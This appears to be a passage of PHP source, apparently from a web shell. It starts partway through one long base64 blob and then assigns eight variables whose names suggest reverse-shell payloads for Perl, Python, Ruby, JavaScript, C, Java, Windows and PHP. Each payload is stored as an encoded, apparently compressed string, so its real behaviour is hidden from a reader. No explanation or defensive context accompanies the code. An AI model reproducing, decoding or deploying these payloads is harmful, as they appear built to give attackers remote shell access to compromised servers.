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";
$s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A";
$s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE=";
$s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP";
$s_rs_js = "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU=";
$s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=";
$s_rs_java = "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP";
$s_rs_win = "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";
$s_rs_php = "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDvc59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8=";
